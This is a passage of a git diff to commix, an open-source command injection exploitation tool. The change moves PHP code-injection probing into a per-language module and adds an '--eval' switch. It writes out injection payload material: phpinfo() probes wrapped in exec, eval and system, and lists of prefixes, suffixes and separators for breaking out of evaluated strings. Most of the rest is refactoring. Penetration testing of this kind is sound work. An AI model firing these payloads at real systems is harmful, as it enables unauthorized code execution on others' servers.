evaluated, and which version evaluated it. +PROBE = "phpinfo()" + +# The probe on its own, and wrapped in the functions that would run it where a bare call is not +# evaluated - each is tried until one of them answers. +PROBE_FUNCTIONS = ["" + PROBE + "", + "exec(" + PROBE + ")", + "eval(" + PROBE + ")", + "system(" + PROBE + ")" +] + +# The same probes broken into the string being evaluated, one boundary per row. +PROBE_PAYLOADS = [ + [".print(" + x + ")" for x in PROBE_FUNCTIONS], + [")'}" + x + "'#" for x in PROBE_FUNCTIONS], + ["'." + x + ".'" for x in PROBE_FUNCTIONS], + ["{${" + x + "}}" for x in PROBE_FUNCTIONS], + ["\\\\/{${" + x + "}}\\/\\" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own output looks like coming back, and the interpreter's complaints that say a +# payload reached an evaluated string even where nothing was printed. +PROBE_REGEX = r"PHP Version </td><td class=\"v\">(([\w\.]+))" +WARNINGS = ["eval()'d code", "runtime-created function", "usort()", "assert()", "preg_replace()"] + +# The language's own functions that run a command, widest first as the level rises. +EXECUTION_FUNCTIONS_LVL1 = ["exec"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["%0a"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["%0d%0a"] + +PREFIXES_LVL1 = [".", "'.", "{${"] +PREFIXES_LVL2 = PREFIXES_LVL1 + [")'}", "');}"] +PREFIXES_LVL3 = PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] + +SUFFIXES_LVL1 = [ "", ".'", "}}"] +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'#"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] + +""" +Wrap the shell commands a payload runs in this language's print statement. + +Every command has to leave its output on a line of its own: the results are read back as marker, +output and marker separated by newlines, so anything printed without one runs into the next marker. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "print(" + ".".join("`" + command + "`" for command in commands) + ")" + return "print(`" + (chain or separator).join(commands) + "`)%3B" diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7945d36e65..8e8e8bd2ee 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -391,6 +391,35 @@ def finish_target(): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) del settings.LEFTOVER_FILES[:] +""" +Technique letters written out, optionally saying how each one shows execution. Used to name what a +run did not look at, and which techniques can reach a sink at all. +""" +def technique_names(letters, qualified=False): + plain = {"c": "classic", "t": "time-based", "f": "file-based"} + # How execution shows is worth spelling out where the point is which techniques exist at all. + shows = {"c": "results-based", "t": "blind", "f": "semi-blind"} + chosen = [plain[_] + (" (" + shows[_] + ")" if qualified else "") for _ in ("c", "t", "f") if _ in letters] + if not chosen: + return "" + name = chosen[0] if len(chosen) == 1 else ", ".join(chosen[:-1]) + " and " + chosen[-1] + return name + " technique" + "s"[len(chosen) == 1:] + +def untested_techniques(): + return technique_names([_ for _ in ("c", "t", "f") if _ not in menu.options.tech]) + +""" +Whether a technique is one this run is testing. Two separate choices sit behind it: which sink is +being tested, chosen with '--eval', and by which technique, chosen with '--technique'. A technique +runs when its letter was asked for and it reaches the sink in hand, so the two compose - and the +out-of-band technique answers to the letter alone, carrying whichever sink it is given. +""" +def technique_selected(tech_letter, eval_sink=False): + # The out-of-band technique carries whichever sink it is given, so it answers to the letter alone. + if tech_letter != settings.OOB_TECHNIQUE_LETTER and bool(menu.options.eval_sink) != bool(eval_sink): + return False + return len(menu.options.tech) == 0 or tech_letter in menu.options.tech + """ Quit - hard_exit ends the process immediately (os._exit), otherwise SystemExit unwinds normally. """ @@ -3642,7 +3671,7 @@ def short_technique_label(technique): return technique_display_name(technique).replace("command injection ", "").replace("injection ", "") """ -Full label of a technique, with its injection type - "classic results-based technique". +Full label of a technique, with its injection type - "classic results-based command injection technique". """ def technique_label(injection_type, technique): name = short_technique_label(technique) @@ -3651,7 +3680,9 @@ def technique_label(injection_type, technique): # The channel belongs with the technique's own name, ahead of the injection type. if technique == settings.INJECTION_TECHNIQUE.OOB and oob_channel_label(): name += " (" + oob_channel_label() + ")" - return name + settings.SINGLE_WHITESPACE + injection_type.split(settings.SINGLE_WHITESPACE)[0] + " technique" + # The injection type names the sink as well as how execution shows, and both sinks are reached by + # the same techniques - so it is given whole, rather than cut down to how execution shows. + return name + settings.SINGLE_WHITESPACE + injection_type + " technique" """ Display name of a technique - a "/tmp/" output file is a file-based mechanism, not its own technique. @@ -3659,6 +3690,10 @@ def technique_label(injection_type, technique): def technique_display_name(technique): if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: return settings.INJECTION_TECHNIQUE.FILE_BASED + # Reaching an evaluation sink is not a technique of its own - it is the results-based one aimed + # at different code, and the injection type is what says which sink was reached. + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + return settings.INJECTION_TECHNIQUE.CLASSIC return technique """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 336bd610b7..7c699e60de 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -36,7 +36,7 @@ from src.core.injections.semiblind.techniques.file_based import fb_handler from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler from src.core.injections.results_based.techniques.classic import cb_handler -from src.core.injections.results_based.techniques.eval_based import eb_handler +from src.core.injections.results_based.techniques.eval import eb_handler """ Command Injection and exploitation controller. @@ -88,7 +88,7 @@ def basic_level_checks(): settings.SKIP_COMMAND_INJECTIONS = None settings.IDENTIFIED_COMMAND_INJECTION = False settings.IDENTIFIED_WARNINGS = False - settings.IDENTIFIED_PHPINFO = False + settings.IDENTIFIED_EVAL_PROBE = False """ Initializing HTTP Headers parameters injection status @@ -308,30 +308,40 @@ def _http_first(): def code_injections_heuristic_basic(url, http_request_method, check_parameter, place): check_parameter = check_parameter.lstrip().rstrip() injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE - technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE - technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" + # Named the way a finding is, so the heuristic and what it leads to read as the one thing. + technique = checks.technique_label(injection_type, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE) settings.EVAL_BASED_STATE = True try: whitespace = settings.SINGLE_WHITESPACE - if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO): - for payload in settings.PHPINFO_CHECK_PAYLOADS: + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE): + for payload in settings.EVAL_PROBE_PAYLOADS: response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) if type(response) is not bool and response is not None: html_data = checks.process_page_content(response, action="decode") - match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) + match = re.search(settings.EVAL_PROBE_REGEX, html_data) if match: technique = technique + " (possible PHP version: '" + match.group(1) + "')" - settings.IDENTIFIED_PHPINFO = True + settings.IDENTIFIED_EVAL_PROBE = True else: - for warning in settings.CODE_INJECTION_WARNINGS: + for warning in settings.EVAL_WARNINGS: if warning in html_data: settings.IDENTIFIED_WARNINGS = True break - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_EVAL_PROBE: info_msg = "Heuristic (basic) test shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - settings.SKIP_COMMAND_INJECTIONS = True + # Code injection is tested only where it was asked for, so what the heuristic saw is + # named, the switch that would act on it is named too, and the run carries on testing + # for command injection either way. + if menu.options.eval_sink: + settings.SKIP_COMMAND_INJECTIONS = True + elif not settings.EVAL_SUGGESTED: + settings.EVAL_SUGGESTED = True + message = "Do you want to test it for code injection (i.e. switch '--eval')? [Y/n] " + if common.read_input(message, default="Y", check_batch=True) in settings.CHOICE_YES: + menu.options.eval_sink = settings.EVAL_ALL_LANGUAGES + settings.SKIP_COMMAND_INJECTIONS = True break settings.EVAL_BASED_STATE = False @@ -344,10 +354,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p """ Run one technique via the given exploit() callable, updating its own state flag in settings - the shared skeleton behind the 4 functions below. """ -def run_technique(injection_type, technique, state_name, skip_flag_name, tech_letter, exploit): +def run_technique(injection_type, technique, state_name, skip_flag_name, tech_letter, exploit, eval_sink=False): setattr(settings, state_name, None) if not getattr(settings, skip_flag_name): - if len(menu.options.tech) == 0 or tech_letter in menu.options.tech: + if checks.technique_selected(tech_letter, eval_sink): setattr(settings, state_name, exploit() != False) state = getattr(settings, state_name) if state == None or getattr(settings, skip_flag_name): @@ -378,7 +388,7 @@ def exploit(): if result != False: settings.SKIP_COMMAND_INJECTIONS = True return result - run_technique(injection_type, technique, "EVAL_BASED_STATE", "SKIP_CODE_INJECTIONS", "e", exploit) + run_technique(injection_type, technique, "EVAL_BASED_STATE", "SKIP_CODE_INJECTIONS", "c", exploit, eval_sink=True) """ Check if it's exploitable via time-based command injection technique. @@ -637,11 +647,11 @@ def injection_process(url, check_parameter, http_request_method, filename, times # Nothing left to probe when all required time-related techniques were resumed. time_techniques_resumed = False - if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + if checks.technique_selected("t") or checks.technique_selected("f"): needed_time_techniques = set() - if not menu.options.tech or "t" in menu.options.tech: + if checks.technique_selected("t"): needed_time_techniques.add(settings.INJECTION_TECHNIQUE.TIME_BASED) - if not menu.options.tech or "f" in menu.options.tech: + if checks.technique_selected("f"): needed_time_techniques.add(settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) time_techniques_resumed = settings.LOAD_SESSION and needed_time_techniques.issubset(settings.STORED_TECHNIQUES.keys()) @@ -698,7 +708,7 @@ def _ensure_time_warmup(): if menu.options.oob: url = oob_heuristic_basic(url, http_request_method, check_parameter, place) - if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: + if not settings.IDENTIFIED_COMMAND_INJECTION and checks.technique_selected("c", eval_sink=menu.options.eval_sink): # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, place) except KeyboardInterrupt: @@ -710,7 +720,7 @@ def _ensure_time_warmup(): except settings.EndDetectionPhaseException: break - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE: settings.HEURISTIC_TEST.POSITIVE = False warn_msg = "Heuristic (basic) test shows that " warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." @@ -746,7 +756,7 @@ def _time_related_resume_redundant(): def _run_time_based(): if _time_related_resume_redundant(): return - if len(menu.options.tech) == 0 or "t" in menu.options.tech: + if checks.technique_selected("t"): _ensure_time_warmup() # A resumed finding is re-verified against its own full delay, so the model can wait # until the first command actually needs it. @@ -1264,7 +1274,7 @@ def do_check(url, http_request_method, filename): # Check for '--tor' option. if menu.options.tor: - if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + if checks.technique_selected("t") or checks.technique_selected("f"): warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " warn_msg += "time-based injections because of inherent high latency time." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -1290,6 +1300,11 @@ def do_check(url, http_request_method, filename): err_msg += "'--technique'." else: err_msg += "'--skip-technique'." + untested = checks.untested_techniques() + if untested: + err_msg += " That would also test the " + untested + "." + if not menu.options.eval_sink: + err_msg += " Code injection was not tested; the '--eval' switch tests for it." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" if not menu.options.tamper: err_msg += " use option '--tamper'" diff --git a/src/core/injections/controller/execution.py b/src/core/injections/controller/execution.py index 36721e5ebb..3029ac2712 100644 --- a/src/core/injections/controller/execution.py +++ b/src/core/injections/controller/execution.py @@ -26,7 +26,7 @@ def select_injector(technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + from src.core.injections.results_based.techniques.eval import eb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.blind.techniques.time_based import tb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index c1d9c2fcae..88bb53abed 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -379,9 +379,10 @@ def _run_os_cmd(): _announce_technique(injection_type, technique) # A command sink first, then an evaluation sink - the channel proves either one. - sinks = [(False, injection_type, settings.PREFIXES, settings.SUFFIXES, settings.SEPARATORS)] - if len(menu.options.tech) == 0 or "e" in menu.options.tech or "o" in menu.options.tech: - sinks.append((True, settings.INJECTION_TYPE.BLIND_CE, payloads.eval_prefixes(), settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS)) + if menu.options.eval_sink: + sinks = [(True, settings.INJECTION_TYPE.BLIND_CE, payloads.eval_prefixes(), settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS)] + else: + sinks = [(False, injection_type, settings.PREFIXES, settings.SUFFIXES, settings.SEPARATORS)] for is_eval, sink_type, sink_prefixes, sink_suffixes, sink_separators in sinks: settings.OOB_EVAL = is_eval @@ -960,8 +961,8 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject from src.core.injections.results_based.techniques.classic import cb_payloads as payloads elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injector - from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads + from src.core.injections.results_based.techniques.eval import eb_injector as injector + from src.core.injections.results_based.techniques.eval import eb_payloads as payloads else: from src.core.injections.semiblind.techniques.file_based import fb_injector as injector from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 1aba8fa6b0..3bfae23293 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -980,7 +980,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.results_based.techniques.classic import cb_payloads as payloads elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads + from src.core.injections.results_based.techniques.eval import eb_payloads as payloads else: from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval/__init__.py similarity index 100% rename from src/core/injections/results_based/techniques/eval_based/__init__.py rename to src/core/injections/results_based/techniques/eval/__init__.py diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval/eb_handler.py similarity index 100% rename from src/core/injections/results_based/techniques/eval_based/eb_handler.py rename to src/core/injections/results_based/techniques/eval/eb_handler.py diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval/eb_injector.py similarity index 100% rename from src/core/injections/results_based/techniques/eval_based/eb_injector.py rename to src/core/injections/results_based/techniques/eval/eb_injector.py diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval/eb_payloads.py similarity index 93% rename from src/core/injections/results_based/techniques/eval_based/eb_payloads.py rename to src/core/injections/results_based/techniques/eval/eb_payloads.py index 1592c81072..5f837aeb6b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval/eb_payloads.py @@ -22,15 +22,10 @@ """ """ -Wrap the shell commands a payload runs in the evaluation sink's print statement. - -Every command has to leave its output on a line of its own: the results are read back as marker, -output and marker separated by newlines, so anything printed without one runs into the next marker. +Wrap the shell commands a payload runs in the print statement of the language being tested. """ def _print_statement(separator, commands, chain=None): - if separator == "": - return "print(" + ".".join("`" + command + "`" for command in commands) + ")" - return "print(`" + (chain or separator).join(commands) + "`)%3B" + return settings.EVAL_GRAMMAR.print_statement(separator, commands, chain) """ Read a value off a Windows command that prints no newline of its own, such as 'set /a'. diff --git a/src/core/main.py b/src/core/main.py index bdb42eabda..871940a3c7 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -613,6 +613,26 @@ def main(filename, url, http_request_method): menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) menu.options.tech = menu.options.tech.lower() + if menu.options.eval_sink: + menu.options.eval_sink = menu.options.eval_sink.lower() + if menu.options.eval_sink not in (settings.EVAL_ALL_LANGUAGES,) + settings.SUPPORTED_EVAL_LANGUAGES: + err_msg = "You defined an invalid language '" + menu.options.eval_sink + "' for '--eval'. " + err_msg += "Currently, the only supported " + ("one is ", "ones are ")[len(settings.SUPPORTED_EVAL_LANGUAGES) != 1] + err_msg += ", ".join("'" + _ + "'" for _ in settings.SUPPORTED_EVAL_LANGUAGES) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Everything the payloads are built from follows the language that was named. + if menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES: + settings.set_eval_grammar(menu.options.eval_sink) + # The evaluation sink was named with '--technique=e' before '--eval' existed, and still is. + if settings.USER_APPLIED_TECHNIQUE and settings.EVAL_TECHNIQUE_LETTER in menu.options.tech: + menu.options.eval_sink = menu.options.eval_sink or settings.EVAL_ALL_LANGUAGES + remaining = menu.options.tech.replace(settings.EVAL_TECHNIQUE_LETTER, "") + if remaining: + warn_msg = "Code injection is selected with the '--eval' switch now, and the technique is " + warn_msg += "chosen separately with '--technique', so only code injection is tested." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + menu.options.tech = "".join(settings.EVAL_CAPABLE_TECHNIQUES) if menu.options.oob and settings.USER_APPLIED_TECHNIQUE: err_msg = "The switch '--oob' selects the out-of-band technique on its own, so it cannot be " err_msg += "combined with '--technique'." @@ -638,6 +658,25 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + # Whichever way the technique list was narrowed, the sink asked for has to be reachable by + # something still in it - otherwise the run would test nothing and say only that it found nothing. + if menu.options.eval_sink and not menu.options.oob and \ + not any(_ in menu.options.tech for _ in settings.EVAL_CAPABLE_TECHNIQUES): + err_msg = "Code injection (i.e. '--eval') currently supports only the " + err_msg += checks.technique_names(settings.EVAL_CAPABLE_TECHNIQUES, qualified=True) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Some of the techniques named do reach the sink and some do not: the run goes ahead on the ones + # that do, and says which of the others it is leaving out rather than dropping them in silence. + if menu.options.eval_sink and not menu.options.oob and settings.USER_APPLIED_TECHNIQUE: + ignored = [_ for _ in menu.options.tech if _ not in settings.EVAL_CAPABLE_TECHNIQUES] + if ignored: + warn_msg = "The " + checks.technique_names(ignored) + " given with '--technique' " + warn_msg += ("is", "are")[len(ignored) != 1] + " not supported for code injection, so " + warn_msg += ("it is", "they are")[len(ignored) != 1] + " ignored." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # Check if specified wrong injection technique - only what the user actually typed, since a # resumed session hands back techniques that are not selectable on the command line. if settings.USER_APPLIED_TECHNIQUE and menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index c043867700..f7a592d068 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -504,7 +504,7 @@ def request_failed(err_msg): else: return False - elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ + elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_EVAL_PROBE or settings.IDENTIFIED_COMMAND_INJECTION or \ any(checks.ignored_http_error_code(_) for _ in settings.HTTP_ERROR_CODES if _ in str(error_msg)): return False diff --git a/src/utils/menu.py b/src/utils/menu.py index 722a421086..6bc2fc92c5 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -540,6 +540,13 @@ def banner(): dest="tech", help="Specify injection technique(s) to use.") +injection.add_option("--eval", + action="store", + default=None, + dest="eval_sink", + metavar="LANG", + help="Test for code injection (e.g. 'php').") + injection.add_option("--skip-technique", action="store", dest="skip_tech", @@ -775,6 +782,12 @@ def _(self, *args): option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") # Listed by its short form alone, the way every other switch is, while '--help' keeps working. option._long_opts = [] +# The language is optional: '--eval' on its own stands for every one that is supported, and the +# parser needs a value either way. +for _index, _argument in enumerate(sys.argv): + if _argument == "--eval": + sys.argv[_index] = "--eval=" + settings.EVAL_ALL_LANGUAGES + (options, args) = parser.parse_args() # Remember whether '--web-root' was explicitly supplied on the CLI diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index eace3e7731..766c683bdb 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -98,6 +98,16 @@ def restore_option(stored, applied, label): return None return stored +""" +How a stored technique is selected today: the technique letter it is reached by, and whether it +reaches the evaluation sink. What was stored as its own technique letter is now a sink reached by +one of the others, so a finding kept under the old spelling still resumes under the new one. +""" +def technique_selection(technique_info): + if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + return settings.EVAL_CAPABLE_TECHNIQUES[0], True + return technique_letter(technique_info), False + """ Map stored technique names to their "--technique" menu letters. """ @@ -381,7 +391,7 @@ def has_any_stored_technique(url, http_request_method): clause, url_params = url_match(url) query = "SELECT technique FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" cursor.execute(query, url_params + (http_request_method,)) - return any(not menu.options.tech or (technique_letter(row[0]) and technique_letter(row[0]) in menu.options.tech) for row in cursor.fetchall()) + return any(technique_selection(row[0])[0] and checks.technique_selected(*technique_selection(row[0])) for row in cursor.fetchall()) except (sqlite3.OperationalError, sqlite3.DatabaseError): return False @@ -423,9 +433,9 @@ def check_stored_injection_points(url, check_parameter, http_request_method): if check_parameter not in (vuln_param, http_header) or stored_method != http_request_method: continue - technique = technique_letter(technique_info) + technique, technique_is_eval = technique_selection(technique_info) - if len(menu.options.tech) == 0 or (technique and technique in menu.options.tech): + if technique and checks.technique_selected(technique, technique_is_eval): found = True # Prefer more specific vulnerable parameter (e.g., HTTP header), if available vuln_parameter = vuln_param or http_header @@ -471,11 +481,11 @@ def load_stored_techniques(url, check_parameter, http_request_method): for session in cursor.fetchall(): row = session[1:] technique, vuln_parameter, http_header = row[1], row[5], row[11] - letter = technique_letter(technique) + letter, letter_is_eval = technique_selection(technique) if check_parameter not in (vuln_parameter, http_header) or not letter: continue # A technique this run was not asked to test is not resumed, nor reported as resumed. - if len(menu.options.tech) != 0 and letter not in menu.options.tech: + if not checks.technique_selected(letter, letter_is_eval): continue stored[technique] = row return {_: stored[_] for _ in settings.TECHNIQUE_ORDER if _ in stored} diff --git a/src/utils/settings.py b/src/utils/settings.py index 3c8238a214..89572ea676 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -25,6 +25,10 @@ from datetime import datetime from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib +from src.core import eval as _eval + +# The language whose code injection grammar is in use; '--eval' can name another one. +EVAL_GRAMMAR = _eval.grammar() from src.thirdparty.six.moves import reload_module as _reload_module # argv checks @@ -328,7 +332,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "125" +REVISION = "126" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -429,32 +433,16 @@ class HEURISTIC_TEST(object): BASIC_COMMAND_INJECTION_RESULT = "" IDENTIFIED_COMMAND_INJECTION = False -#Basic heuristic checks for code injection warnings or... phpinfo page ;) -PHPINFO_PAYLOAD = "phpinfo()" - -PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "", - "exec(" + PHPINFO_PAYLOAD + ")", - "eval(" + PHPINFO_PAYLOAD + ")", - "system(" + PHPINFO_PAYLOAD + ")" -] - -PHPINFO_CHECK_PAYLOADS = [ - [".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS], - [")'}" + x + "'#" for x in PHP_EXEC_FUNCTIONS], - ["'." + x + ".'" for x in PHP_EXEC_FUNCTIONS], - ["{${" + x + "}}" for x in PHP_EXEC_FUNCTIONS], - ["\\\\/{${" + x + "}}\\/\\" for x in PHP_EXEC_FUNCTIONS] -] - -PHPINFO_CHECK_PAYLOADS = [x for payload in PHPINFO_CHECK_PAYLOADS for x in payload] - -# Executed phpinfo() -IDENTIFIED_PHPINFO = False -CODE_INJECTION_PHPINFO = r"PHP Version </td><td class=\"v\">(([\w\.]+))" +# Basic heuristic checks for code injection: the probe that says code was evaluated, what its +# answer looks like coming back, and the interpreter's own complaints that give the same away. +# All of it belongs to the language, so it is read from its module under 'src/core/eval'. +EVAL_PROBE_PAYLOADS = EVAL_GRAMMAR.PROBE_PAYLOADS +EVAL_PROBE_REGEX = EVAL_GRAMMAR.PROBE_REGEX +EVAL_WARNINGS = EVAL_GRAMMAR.WARNINGS -# Code injection warnings +# The probe answered, or the interpreter complained. +IDENTIFIED_EVAL_PROBE = False IDENTIFIED_WARNINGS = False -CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort()", "assert()", "preg_replace()"] SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False @@ -629,29 +617,30 @@ class OS(object): # Bad combination of prefix and separator JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] -# Execution functions +# Execution functions, and the boundaries that break into an evaluated string and close it again - +# all of them the language's own, and so read from its module rather than written out here. EXECUTION_FUNCTIONS = [] -EXECUTION_FUNCTIONS_LVL1 = ["exec"] -EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"] -EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen"] +EXECUTION_FUNCTIONS_LVL1 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL1 +EXECUTION_FUNCTIONS_LVL2 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL2 +EXECUTION_FUNCTIONS_LVL3 = EVAL_GRAMMAR.EXECUTION_FUNCTIONS_LVL3 # The code injection separators. EVAL_SEPARATORS = [] -EVAL_SEPARATORS_LVL1 = [""] -EVAL_SEPARATORS_LVL2 = EVAL_SEPARATORS_LVL1 + ["%0a"] -EVAL_SEPARATORS_LVL3 = EVAL_SEPARATORS_LVL2 + ["%0d%0a"] +EVAL_SEPARATORS_LVL1 = EVAL_GRAMMAR.SEPARATORS_LVL1 +EVAL_SEPARATORS_LVL2 = EVAL_GRAMMAR.SEPARATORS_LVL2 +EVAL_SEPARATORS_LVL3 = EVAL_GRAMMAR.SEPARATORS_LVL3 # The code injection prefixes. EVAL_PREFIXES = [] -EVAL_PREFIXES_LVL1 = [".", "'.", "{${"] -EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"] -EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] +EVAL_PREFIXES_LVL1 = EVAL_GRAMMAR.PREFIXES_LVL1 +EVAL_PREFIXES_LVL2 = EVAL_GRAMMAR.PREFIXES_LVL2 +EVAL_PREFIXES_LVL3 = EVAL_GRAMMAR.PREFIXES_LVL3 # The code injection suffixes. EVAL_SUFFIXES = [] -EVAL_SUFFIXES_LVL1 = [ "", ".'", "}}"] -EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"] -EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] +EVAL_SUFFIXES_LVL1 = EVAL_GRAMMAR.SUFFIXES_LVL1 +EVAL_SUFFIXES_LVL2 = EVAL_GRAMMAR.SUFFIXES_LVL2 +EVAL_SUFFIXES_LVL3 = EVAL_GRAMMAR.SUFFIXES_LVL3 # Raw payload (without tampering) RAW_PAYLOAD = "" @@ -839,14 +828,51 @@ class OS(object): # Available injection techniques. Out-of-band is not one of them - it is the '--oob' switch, so that # it can serve the modules too, which never go through '--technique'. -AVAILABLE_TECHNIQUES = ['c','e','t','f'] +AVAILABLE_TECHNIQUES = ['c','t','f'] +# The letter that used to name the evaluation sink before '--eval' did, the technique that reaches +# that sink today, and the one whose technique carries whichever sink it is given. +EVAL_TECHNIQUE_LETTER = 'e' +EVAL_CAPABLE_TECHNIQUES = ('c',) +OOB_TECHNIQUE_LETTER = 'o' +# The languages the evaluation sink knows how to reach, and the word standing for all of them. 